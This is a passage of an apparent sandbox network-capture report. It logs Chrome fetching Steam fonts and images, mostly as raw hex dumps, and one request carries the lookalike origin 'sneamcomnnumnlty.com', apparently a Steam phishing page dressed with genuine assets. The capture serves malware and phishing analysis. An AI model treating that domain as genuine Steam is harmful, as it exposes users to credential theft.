2024-10-06 11:21:00 UTC	16384	IN	Data Raw: 00 00 00 00 00 00 00 02 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff df ff f8 00 05 00 00 00 07 00 00 00 09 00 02 00 00 00 00 00 00 00 00 ff b1 ff c1 00 00 00 00 00 00 00 00 00 00 ff a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ea ff fe 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-10-06 11:21:00 UTC	2658	IN	Data Raw: 00 01 00 11 00 00 00 01 00 11 00 00 00 01 00 11 00 00 00 01 00 11 00 00 00 01 00 11 00 00 00 01 00 11 00 00 00 01 00 11 00 00 00 01 00 11 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 01 00 1d 00 00 00 01 00 1d 00 00 00 01 00 1d 00 00 00 01 00 1d 00 00 00 01 00 1d 00 00 00 01 00 1d 00 00 00 01 00 1d 00 00 00 01 00 1d 00 00 00 01 00 1d 00 00 00 01 00 1d 00 00 00 01 00 1d 00 00 00 01 00 16 00 00 00 01 00 16 00 00 00 01 00 16 00 00 00 01 00 16 00 00 00 01 00 16 00 00 00 Data Ascii:
2024-10-06 11:21:00 UTC	16384	IN	Data Raw: 02 fc 03 33 03 34 03 35 03 36 03 37 03 38 03 39 03 3a 03 3b 03 3c 03 3d 03 3e 03 3f 03 40 03 41 03 42 03 43 03 44 00 02 07 d4 00 14 02 a7 02 fb 03 20 03 21 03 22 03 23 03 24 03 25 03 26 03 27 03 28 03 29 03 2a 03 2b 03 2c 03 2d 03 2e 03 2f 03 30 03 31 00 01 07 c2 00 01 00 08 00 02 00 06 00 0c 01 74 00 02 00 fa 01 75 00 02 01 0f 00 02 07 ae 01 7e 01 78 01 79 01 7a 01 7b 01 7c 01 7d 01 7e 01 7f 01 80 01 81 01 82 01 83 01 84 01 85 01 86 01 87 01 88 01 89 01 8a 01 8b 01 8c 01 8d 01 8e 01 8f 01 90 01 91 01 92 01 93 01 94 01 95 01 96 01 97 01 98 01 99 01 9a 01 9b 01 9c 01 9d 01 9e 01 9f 01 a0 01 a1 01 a2 01 a3 01 a4 01 a5 01 a6 01 a7 01 a8 01 a9 01 aa 01 ab 01 ad 01 ae 01 af 01 b0 01 b1 01 b2 01 b3 01 b4 01 b5 01 b6 01 b7 01 c2 01 b9 01 ba 01 bb 01 bc 01 bd 01 Data Ascii: 3456789:;<=>?@ABCD !"#$%&'()*+,-./01tu~xyz{\|}~
2024-10-06 11:21:00 UTC	16384	IN	Data Raw: 43 27 53 72 63 66 12 14 05 10 07 02 31 25 e8 50 19 15 47 1d 38 4a 3c 29 95 02 33 08 2a 22 39 43 05 43 4f 4d 48 4f 4e 08 05 45 3b 35 33 3a 45 5e 5d f5 17 14 02 3c 01 3f 30 29 d0 2a 24 4e 05 08 2a 2e 29 28 ff ff 00 2d ff f3 02 13 03 01 00 22 00 ba 00 00 00 03 03 09 01 b7 00 00 ff ff 00 2d ff f3 02 13 02 cd 00 22 00 ba 00 00 00 02 03 1c 4d 00 00 00 00 03 00 2d ff f4 03 55 02 18 00 2c 00 33 00 3f 01 03 4b b0 18 50 58 40 16 23 01 05 06 29 22 02 04 05 1c 01 00 04 34 11 0c 0b 04 01 00 04 4c 1b 4b b0 1b 50 58 40 16 23 01 05 06 29 22 02 04 05 1c 01 0a 04 34 11 0c 0b 04 01 00 04 4c 1b 40 16 23 01 05 06 29 22 02 04 05 1c 01 0a 09 34 11 0c 0b 04 01 00 04 4c 59 59 4b b0 18 50 58 40 25 0d 09 02 04 0a 01 00 01 04 00 69 08 01 05 05 06 61 0c 07 02 06 06 53 4d 0b 01 01 01 Data Ascii: C'Srcf1%PG8J<)3"9CCOMHONE;53:E^]<?0)$N*.)(-"-"M-U,3?KPX@#)"4LKPX@#)"4L@#)"4LYYKPX@%iaSM
2024-10-06 11:21:00 UTC	7952	IN	Data Raw: 2b 01 33 15 06 06 23 22 26 26 35 34 36 36 33 32 17 07 26 23 22 06 15 14 16 33 32 37 35 23 01 27 eb 20 77 41 49 7a 4a 4b 7e 4c 6b 57 2c 45 54 57 60 62 58 40 3b 96 01 3e fd 1f 2e 3f 86 63 65 85 3f 3f 44 33 6f 68 6a 72 21 93 00 00 ff ff 00 2d ff f4 02 12 02 f8 00 22 01 ae 00 00 01 07 03 3a 01 d3 00 2d 00 08 b1 01 01 b0 2d b0 35 2b 00 00 ff ff 00 2d ff f4 02 12 02 f4 00 22 01 ae 00 00 01 07 03 39 01 d3 00 2d 00 08 b1 01 01 b0 2d b0 35 2b 00 00 ff ff 00 2d ff f4 02 12 02 fb 00 22 01 ae 00 00 01 07 03 38 01 d6 00 2d 00 08 b1 01 01 b0 2d b0 35 2b 00 00 ff ff 00 2d ff 32 02 12 02 45 00 22 01 ae 00 00 00 03 03 42 01 be 00 00 ff ff 00 2d ff f4 02 12 02 fb 00 22 01 ae 00 00 01 07 03 34 01 b5 00 2d 00 08 b1 01 01 b0 2d b0 35 2b 00 00 00 01 00 55 00 00 02 22 02 39 00 Data Ascii: +3#"&&546632&#"3275#' wAIzJK~LkW,ETW`bX@;>.?ce??D3ohjr!-":--5+-"9--5+-"8--5+-2E"B-"4--5+U"9
2024-10-06 11:21:00 UTC	16384	IN	Data Raw: 01 a6 00 2d 00 08 b1 01 01 b0 2d b0 35 2b 00 00 00 01 00 29 00 00 01 cd 02 39 00 09 00 29 40 26 00 01 02 03 05 01 01 00 02 4c 00 02 02 03 5f 00 03 03 2c 4d 00 00 00 01 5f 00 01 01 2d 01 4e 11 12 11 11 04 08 1a 2b 01 01 21 15 21 35 01 21 35 21 01 c5 fe d0 01 38 fe 5c 01 32 fe e7 01 83 01 fb fe 54 4f 3f 01 ac 4e ff ff 00 29 00 00 01 cd 02 f5 00 22 02 2c 00 00 01 07 03 36 01 c3 00 2d 00 08 b1 01 01 b0 2d b0 35 2b 00 00 ff ff 00 29 00 00 01 cd 02 f4 00 22 02 2c 00 00 01 07 03 39 01 9e 00 2d 00 08 b1 01 01 b0 2d b0 35 2b 00 00 ff ff 00 29 00 00 01 cd 02 fb 00 22 02 2c 00 00 01 07 03 34 01 7f 00 2d 00 08 b1 01 01 b0 2d b0 35 2b 00 00 00 02 00 30 01 7e 01 61 02 c7 00 20 00 2c 00 57 40 54 17 01 03 04 16 01 02 03 10 01 06 02 24 23 02 05 06 05 01 00 05 05 4c 00 04 Data Ascii: --5+)9)@&L_,M_-N+!!5!5!8\2TO?N)",6--5+)",9--5+)",4--5+0~a ,W@T$#L
2024-10-06 11:21:00 UTC	6052	IN	Data Raw: 05 27 0b 02 01 04 00 08 03 4c 0a 01 00 49 1b 4b b0 14 50 58 40 18 18 01 05 04 19 01 03 05 27 01 02 09 08 0b 02 02 00 09 04 4c 0a 01 00 49 1b 40 1c 18 01 05 04 19 01 03 05 27 01 02 09 08 0b 01 01 09 04 4c 02 01 01 01 4b 0a 01 00 49 59 59 4b b0 12 50 58 40 22 06 01 03 07 01 02 08 03 02 67 00 05 05 04 61 00 04 04 50 4d 0a 09 02 08 08 00 61 01 01 00 00 51 00 4e 1b 4b b0 14 50 58 40 2c 06 01 03 07 01 02 08 03 02 67 00 05 05 04 61 00 04 04 50 4d 00 08 08 00 61 01 01 00 00 51 4d 0a 01 09 09 00 61 01 01 00 00 51 00 4e 1b 40 2a 06 01 03 07 01 02 08 03 02 67 00 05 05 04 61 00 04 04 50 4d 00 08 08 01 61 00 01 01 49 4d 0a 01 09 09 00 61 00 00 00 51 00 4e 59 59 40 12 00 00 00 2d 00 2c 25 11 13 25 23 11 15 22 23 0b 0a 1f 2b 24 37 17 06 23 22 27 26 23 22 07 27 36 35 35 Data Ascii: 'LIKPX@'LI@'LKIYYKPX@"gaPMaQNKPX@,gaPMaQMaQN@*gaPMaIMaQNYY@-,%%#"#+$7#"'&#"'655
2024-10-06 11:21:00 UTC	16384	IN	Data Raw: 00 03 00 4d ff f3 02 19 02 45 00 1d 00 29 00 33 00 39 40 36 2d 2c 20 1d 1b 1a 18 17 0b 02 0a 03 02 01 01 00 03 02 4c 00 02 02 01 61 00 01 01 30 4d 04 01 03 03 00 61 00 00 00 31 00 4e 2a 2a 2a 33 2a 32 27 25 2a 24 05 08 18 2b 25 07 27 06 06 23 22 26 35 34 36 37 26 26 35 34 36 33 32 16 15 14 06 07 17 36 37 17 06 07 00 16 17 36 36 35 34 26 23 22 06 15 12 36 37 27 06 06 15 14 16 33 02 19 35 4d 24 4b 34 50 57 3a 33 2a 24 55 46 42 51 3d 39 69 1d 20 42 2b 21 fe fa 1f 1c 2a 2c 25 20 23 29 5e 35 19 7b 24 26 2c 29 30 34 4c 2f 26 4b 3f 35 4e 26 2c 41 26 3f 4d 43 37 31 4e 2c 67 36 45 19 5c 38 01 1e 34 20 1f 33 1f 1e 21 28 1d fe 7a 20 23 7b 1f 35 1f 21 2a 00 00 00 ff ff 00 49 ff a8 01 b6 02 14 00 02 02 d3 00 00 00 05 00 24 ff f7 02 6f 02 45 00 0b 00 0f 00 19 00 25 00 Data Ascii: ME)39@6-, La0Ma1N**32'%$+%'#"&5467&&54632676654&#"67'35M$K4PW:3$UFBQ=9i B+!,% #)^5{$&,)04L/&K?5N&,A&?MC71N,g6E\84 3!(z #{5!I$oE%
2024-10-06 11:21:00 UTC	7996	IN	Data Raw: 69 31 45 46 37 07 75 6e 69 30 32 33 33 07 75 6e 69 31 45 46 39 06 7a 61 63 75 74 65 0a 7a 64 6f 74 61 63 63 65 6e 74 0a 75 6e 69 31 45 39 45 2e 73 63 04 61 2e 73 63 09 61 61 63 75 74 65 2e 73 63 09 61 62 72 65 76 65 2e 73 63 0a 75 6e 69 31 45 41 46 2e 73 63 0a 75 6e 69 31 45 42 37 2e 73 63 0a 75 6e 69 31 45 42 31 2e 73 63 0a 75 6e 69 31 45 42 33 2e 73 63 0a 75 6e 69 31 45 42 35 2e 73 63 0a 75 6e 69 30 31 43 45 2e 73 63 0e 61 63 69 72 63 75 6d 66 6c 65 78 2e 73 63 0a 75 6e 69 31 45 41 35 2e 73 63 0a 75 6e 69 31 45 41 44 2e 73 63 0a 75 6e 69 31 45 41 37 2e 73 63 0a 75 6e 69 31 45 41 39 2e 73 63 0a 75 6e 69 31 45 41 42 2e 73 63 0c 61 64 69 65 72 65 73 69 73 2e 73 63 0a 75 6e 69 31 45 41 31 2e 73 63 09 61 67 72 61 76 65 2e 73 63 0a 75 6e 69 31 45 41 33 2e 73 Data Ascii: i1EF7uni0233uni1EF9zacutezdotaccentuni1E9E.sca.scaacute.scabreve.scuni1EAF.scuni1EB7.scuni1EB1.scuni1EB3.scuni1EB5.scuni01CE.scacircumflex.scuni1EA5.scuni1EAD.scuni1EA7.scuni1EA9.scuni1EAB.scadieresis.scuni1EA1.scagrave.scuni1EA3.s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.7	49830	2.19.126.227	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:21:00 UTC	680	OUT	GET /public/shared/fonts/MotivaSans-Medium.ttf?v=4.015 HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://sneamcomnnumnlty.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://store.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=Rc2hpzg2Ex3T&l=english Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:21:00 UTC	278	IN	HTTP/1.1 200 OK Server: nginx Content-Type: application/octet-stream Content-Length: 124048 Last-Modified: Tue, 28 Jul 2020 23:16:24 GMT ETag: "5f20b1c8-1e490" Access-Control-Allow-Origin: * Accept-Ranges: bytes Date: Sun, 06 Oct 2024 11:21:00 GMT Connection: close
2024-10-06 11:21:00 UTC	16106	IN	Data Raw: 00 01 00 00 00 12 01 00 00 04 00 20 44 53 49 47 00 00 00 01 00 01 e4 88 00 00 00 08 47 44 45 46 0d b6 0e 34 00 00 01 2c 00 00 00 40 47 50 4f 53 89 ce b2 88 00 00 01 6c 00 00 75 9a 47 53 55 42 e1 64 c1 db 00 00 77 08 00 00 1b a4 4f 53 2f 32 75 9a 9f 11 00 00 92 ac 00 00 00 60 63 6d 61 70 f6 64 8b a3 00 00 93 0c 00 00 05 8e 63 76 74 20 47 bc 0a 74 00 01 d4 d0 00 00 00 c8 66 70 67 6d 9e 36 21 d2 00 01 d5 98 00 00 0e 15 67 61 73 70 00 00 00 10 00 01 d4 c8 00 00 00 08 67 6c 79 66 35 8e 7d 32 00 00 98 9c 00 01 06 e4 68 65 61 64 17 e9 fb 57 00 01 9f 80 00 00 00 36 68 68 65 61 06 f4 06 76 00 01 9f b8 00 00 00 24 68 6d 74 78 a2 5f 58 e0 00 01 9f dc 00 00 0c e6 6c 6f 63 61 ba 3a 79 56 00 01 ac c4 00 00 06 a6 6d 61 78 70 04 a0 0f 0c 00 01 b3 6c 00 00 00 20 6e 61 6d Data Ascii: DSIGGDEF4,@GPOSluGSUBdwOS/2u`cmapdcvt Gtfpgm6!gaspglyf5}2headW6hheav$hmtx_Xloca:yVmaxpl nam
2024-10-06 11:21:00 UTC	16384	IN	Data Raw: 00 00 00 00 00 00 00 00 00 05 00 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff fb 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff e5 ff fb 00 09 00 00 00 0e 00 00 00 13 00 05 00 00 00 00 00 00 00 00 ff b7 ff c8 00 00 00 00 00 00 00 00 00 00 ff ae 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff fb 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff e7 ff fb 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-10-06 11:21:00 UTC	1974	IN	Data Raw: 00 02 00 03 00 00 00 02 00 02 00 03 00 00 00 01 00 11 00 00 00 01 00 11 00 00 00 01 00 11 00 00 00 01 00 11 00 00 00 01 00 11 00 00 00 01 00 11 00 00 00 01 00 11 00 00 00 01 00 11 00 00 00 01 00 11 00 00 00 01 00 11 00 00 00 01 00 11 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 01 00 1d 00 00 00 01 00 1d 00 00 00 01 00 1d 00 00 00 01 00 1d 00 00 00 01 00 1d 00 00 00 01 00 1d 00 00 00 01 00 1d 00 00 00 01 00 1d 00 00 00 01 00 1d 00 00 00 01 00 1d 00 00 00 01 00 1d 00 Data Ascii:
2024-10-06 11:21:00 UTC	16384	IN	Data Raw: 01 c1 01 c3 01 c4 01 c5 01 c6 01 c8 01 c9 01 ca 01 cb 01 cc 01 cd 01 ce 01 cf 01 d0 01 d1 01 d2 01 d3 01 d4 01 d5 01 d6 01 d7 01 d8 01 d9 01 da 01 db 01 dc 01 dd 01 de 01 df 01 e0 01 e1 01 e2 01 e3 01 e4 01 e5 01 e6 01 e7 01 e8 01 e9 01 ea 01 eb 01 ec 01 ed 01 ee 01 ef 01 f0 01 f1 01 f2 01 f3 01 f4 01 f5 01 f6 01 f7 01 f8 01 f9 01 fa 01 fb 01 fc 01 fd 01 fe 01 76 01 ac 01 ff 02 00 02 01 02 02 02 03 02 04 02 05 02 06 02 07 02 08 02 09 02 0a 02 0b 02 0c 02 0d 02 0e 02 0f 02 10 02 11 02 12 02 13 02 14 02 15 02 16 02 17 02 18 02 19 02 1a 02 1b 02 1c 02 1d 02 1e 02 1f 02 20 02 21 02 22 02 23 02 24 02 25 02 26 02 27 02 28 02 29 02 2a 02 2b 02 2c 02 2d 02 2e 02 2f 02 8e 02 8f 02 90 02 91 02 92 02 93 02 94 02 95 02 96 02 97 02 c5 02 c6 02 c7 02 c8 02 c9 02 c3 02 Data Ascii: v !"#$%&'()*+,-./
2024-10-06 11:21:00 UTC	16384	IN	Data Raw: 00 2d 00 a3 4b b0 21 50 58 40 18 1a 01 04 05 19 01 03 04 14 01 06 03 24 23 05 03 00 06 0a 01 01 00 05 4c 1b 40 18 1a 01 04 05 19 01 03 04 14 01 06 03 24 23 05 03 00 06 0a 01 01 07 05 4c 59 4b b0 21 50 58 40 20 00 03 00 06 00 03 06 69 00 04 04 05 61 00 05 05 53 4d 08 07 02 00 00 01 61 02 01 01 01 51 01 4e 1b 40 2a 00 03 00 06 00 03 06 69 00 04 04 05 61 00 05 05 53 4d 00 00 00 01 61 02 01 01 01 51 4d 08 01 07 07 01 61 02 01 01 01 51 01 4e 59 40 10 21 21 21 2d 21 2c 28 24 23 24 22 24 12 09 0a 1d 2b 25 14 16 33 32 37 07 06 23 22 27 06 23 22 26 35 34 36 33 32 17 35 34 23 22 07 27 36 36 33 32 16 15 02 36 37 35 26 26 23 22 06 15 14 16 33 01 e4 12 13 05 10 09 13 2d 4c 0f 40 65 4a 64 77 5b 37 3c 6f 48 44 2f 29 6a 3a 69 6c ce 44 14 14 3b 1a 30 3c 33 23 7c 16 13 02 Data Ascii: -K!PX@$#L@$#LYK!PX@ iaSMaQN@*iaSMaQMaQNY@!!!-!,($#$"$+%327#"'#"&5463254#"'6632675&&#"3-L@eJdw[7<oHD/)j:ilD;0<3#\|
2024-10-06 11:21:00 UTC	7952	IN	Data Raw: 01 96 00 00 01 07 03 39 01 cd 00 2d 00 08 b1 02 01 b0 2d b0 35 2b 00 00 ff ff 00 22 00 00 02 34 02 39 00 02 01 97 00 00 00 01 00 4f 00 00 01 cc 02 39 00 0b 00 29 40 26 00 03 00 04 05 03 04 67 00 02 02 01 5f 00 01 01 2c 4d 00 05 05 00 5f 00 00 00 2d 00 4e 11 11 11 11 11 10 06 08 1c 2b 21 21 11 21 15 21 15 33 15 23 15 21 01 cc fe 83 01 7d fe fb e4 e4 01 05 02 39 62 83 64 8d 00 00 00 ff ff 00 4f 00 00 01 cc 03 01 00 22 01 9a 00 00 01 07 03 36 01 e6 00 2d 00 08 b1 01 01 b0 2d b0 35 2b 00 00 ff ff 00 4f 00 00 01 cc 03 03 00 22 01 9a 00 00 01 07 03 3a 01 b8 00 2d 00 08 b1 01 01 b0 2d b0 35 2b 00 00 ff ff 00 4f 00 00 01 cc 02 fe 00 22 01 9a 00 00 01 07 03 39 01 bc 00 2d 00 08 b1 01 01 b0 2d b0 35 2b 00 00 ff ff 00 4f 00 00 01 cc 03 05 00 22 01 9a 00 00 01 07 03 Data Ascii: 9--5+"49O9)@&g_,M_-N+!!!!3#!}9bdO"6--5+O":--5+O"9--5+O"
2024-10-06 11:21:00 UTC	16384	IN	Data Raw: 02 39 00 22 02 04 00 00 00 03 03 41 01 d9 00 00 ff ff 00 4f ff f1 02 21 03 01 00 22 02 04 00 00 01 07 03 35 01 ae 00 2d 00 08 b1 01 01 b0 2d b0 35 2b 00 00 ff ff 00 4f ff f1 02 21 03 26 00 22 02 04 00 00 01 07 03 3e 03 16 00 2d 00 08 b1 01 01 b0 2d b0 35 2b 00 00 00 01 00 4f ff f1 02 87 02 af 00 1a 00 27 40 24 05 01 03 02 01 4c 00 00 02 00 85 04 01 02 02 2c 4d 00 03 03 01 61 00 01 01 31 01 4e 23 23 13 27 10 05 08 1b 2b 01 33 15 14 06 07 11 14 06 23 22 26 35 11 33 11 14 16 33 32 36 35 11 33 32 36 35 02 2a 5d 36 30 84 66 65 83 74 3c 38 39 3d 45 1e 1a 02 af 39 35 40 0a fe de 71 73 73 71 01 64 fe 91 31 3d 3d 31 01 6f 1b 1b 00 00 00 ff ff 00 4f ff f1 02 87 03 01 00 22 02 11 00 00 01 07 03 36 02 10 00 2d 00 08 b1 01 01 b0 2d b0 35 2b 00 00 ff ff 00 4f ff 4a 02 Data Ascii: 9"AO!"5--5+O!&">--5+O'@$L,Ma1N##'+3#"&5332653265*]60fet<89=E95@qssqd1==1oO"6--5+OJ
2024-10-06 11:21:00 UTC	6736	IN	Data Raw: 23 18 21 21 26 4f 18 1e 4b 41 2b 3b 23 1c 24 17 15 d4 24 22 21 24 25 20 22 24 00 00 00 02 00 32 ff 8a 01 96 01 df 00 0b 00 26 00 3e 40 3b 17 01 02 04 18 01 03 02 02 4c 00 04 00 02 00 04 02 80 05 01 01 00 00 04 01 00 69 00 02 03 03 02 59 00 02 02 03 62 00 03 02 03 52 00 00 26 25 1c 1a 16 14 00 0b 00 0a 24 06 08 17 2b 00 16 15 14 06 23 22 26 35 34 36 33 17 14 06 07 06 06 15 14 16 33 32 37 17 06 06 23 22 26 35 34 36 37 36 36 35 35 33 01 0e 2a 2a 1f 1f 29 29 1f 32 22 21 1b 19 29 27 3a 33 2f 22 5e 34 53 5d 2a 27 1e 1c 64 01 df 24 21 21 25 25 21 21 24 e7 27 33 1f 19 23 18 21 21 26 4f 18 1e 4b 41 2b 3b 23 1c 24 17 15 00 00 00 01 ff 51 01 0b ff da 01 96 00 0b 00 1f 40 1c 02 01 01 00 00 01 59 02 01 01 01 00 61 00 00 01 00 51 00 00 00 0b 00 0a 24 03 08 17 2b 02 16 Data Ascii: #!!&OKA+;#$$"!$% "$2&>@;LiYbR&%$+#"&5463327#"&546766553*))2"!)':3/"^4S]'d$!!%%!!$'3#!!&OKA+;#$Q@YaQ$+
2024-10-06 11:21:00 UTC	16384	IN	Data Raw: 34 31 2f 2c 2b 2a 29 28 27 20 2d 21 2d 10 1f 10 1e 18 16 00 0f 00 0e 26 0e 0a 17 2b b1 06 00 44 00 16 16 15 14 06 06 23 22 26 26 35 34 36 36 33 0e 02 15 14 16 16 33 32 36 36 35 34 26 26 23 17 32 16 15 14 06 07 17 23 27 23 15 23 11 17 15 33 32 36 35 34 23 01 f6 a6 63 63 a6 62 62 a6 63 63 a6 62 51 86 4d 4d 85 52 52 85 4d 4d 85 52 08 40 3f 23 1d 54 4d 45 42 42 43 3c 1b 1f 3c 02 ca 59 a6 6d 6d a6 5a 5a a6 6d 6d a6 59 45 49 87 57 59 86 49 49 86 59 59 86 48 6d 3c 2e 23 32 0d 9c 88 88 01 68 3e 67 1e 17 32 00 02 00 39 01 23 03 56 02 bc 00 07 00 14 00 3b 40 38 14 0f 0c 03 06 01 01 4c 00 06 01 02 01 06 02 80 03 01 01 01 00 5f 08 04 02 00 00 48 4d 07 05 02 02 02 00 5f 08 04 02 00 00 48 02 4e 11 12 12 11 11 11 11 11 10 09 0a 1f 2b 13 21 15 23 11 23 11 23 25 33 11 23 Data Ascii: 41/,+*)(' -!-&+D#"&&54663326654&&#2#'##32654#ccbbccbQMMRRMMR@?#TMEBBC<<YmmZZmmYEIWYIIYYHm<.#2h>g29#V;@8L_HM_HN+!###%3#
2024-10-06 11:21:00 UTC	9360	IN	Data Raw: 45 44 34 07 75 6e 69 31 45 44 36 07 75 6e 69 31 45 43 43 07 75 6e 69 31 45 43 45 05 4f 68 6f 72 6e 07 75 6e 69 31 45 44 41 07 75 6e 69 31 45 45 32 07 75 6e 69 31 45 44 43 07 75 6e 69 31 45 44 45 07 75 6e 69 31 45 45 30 0d 4f 68 75 6e 67 61 72 75 6d 6c 61 75 74 07 4f 6d 61 63 72 6f 6e 06 52 61 63 75 74 65 06 52 63 61 72 6f 6e 07 75 6e 69 30 31 35 36 06 53 61 63 75 74 65 0b 53 63 69 72 63 75 6d 66 6c 65 78 07 75 6e 69 30 32 31 38 07 75 6e 69 31 45 39 45 07 75 6e 69 30 31 38 46 04 54 62 61 72 06 54 63 61 72 6f 6e 07 75 6e 69 30 31 36 32 07 75 6e 69 30 32 31 41 06 55 62 72 65 76 65 07 75 6e 69 30 31 44 33 07 75 6e 69 30 31 44 37 07 75 6e 69 30 31 44 39 07 75 6e 69 30 31 44 42 07 75 6e 69 30 31 44 35 07 75 6e 69 31 45 45 34 07 75 6e 69 31 45 45 36 05 55 68 6f Data Ascii: ED4uni1ED6uni1ECCuni1ECEOhornuni1EDAuni1EE2uni1EDCuni1EDEuni1EE0OhungarumlautOmacronRacuteRcaronuni0156SacuteScircumflexuni0218uni1E9Euni018FTbarTcaronuni0162uni021AUbreveuni01D3uni01D7uni01D9uni01DBuni01D5uni1EE4uni1EE6Uho

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.7	49832	2.19.126.97	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:21:00 UTC	403	OUT	GET /public/shared/images/header/logo_steam.svg?t=962016 HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:21:00 UTC	241	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/svg+xml Last-Modified: Tue, 17 Nov 2020 23:33:19 GMT ETag: "5fb45dbf-e64" Access-Control-Allow-Origin: * Date: Sun, 06 Oct 2024 11:21:00 GMT Content-Length: 3684 Connection: close
2024-10-06 11:21:00 UTC	3684	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 21 2d 2d 20 47 65 6e 65 72 61 74 6f 72 3a 20 41 64 6f 62 65 20 49 6c 6c 75 73 74 72 61 74 6f 72 20 31 36 2e 30 2e 30 2c 20 53 56 47 20 45 78 70 6f 72 74 20 50 6c 75 67 2d 49 6e 20 2e 20 53 56 47 20 56 65 72 73 69 6f 6e 3a 20 36 2e 30 30 20 42 75 69 6c 64 20 30 29 20 20 2d 2d 3e 0d 0a 3c 21 44 4f 43 54 59 50 45 20 73 76 67 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 53 56 47 20 31 2e 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 47 72 61 70 68 69 63 73 2f 53 56 47 2f 31 2e 31 2f 44 54 44 2f 73 76 67 31 31 2e 64 74 64 22 3e 0d 0a 3c 73 76 67 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?>... Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) --><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg version="1.1"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.7	49831	2.19.126.97	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:21:00 UTC	386	OUT	GET /public/images/ico/ico_facebook.gif HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
